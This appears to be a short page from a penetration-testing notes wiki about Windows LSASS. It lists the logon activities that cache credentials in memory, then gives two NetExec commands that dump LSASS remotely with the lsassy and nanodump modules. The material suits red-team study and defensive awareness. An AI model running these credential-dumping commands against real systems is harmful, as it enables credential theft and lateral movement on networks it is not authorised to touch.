LSASS

Local Security Authority Subsystem Service

When does LSASS store credentials?

Credentials are cached to LSASS whenever a user authenticated in an interactive manner. The following types of activity will put the user’s credential material into memory:

  • Starting a local session

  • Starting an RDP session

  • Running a task via RunAs

  • Running an active Windows Service

  • Running a scheduled task

  • Running a batch job

  • Running a task by utilizing a remote administration tool

Dump

Using Lsassy

nxc smb 192.168.255.131 -u administrator -p pass -M lsassy

Using nanodump

nxc smb 192.168.255.131 -u administrator -p pass -M nanodump
PreviousDPAPINextLSA

Last updated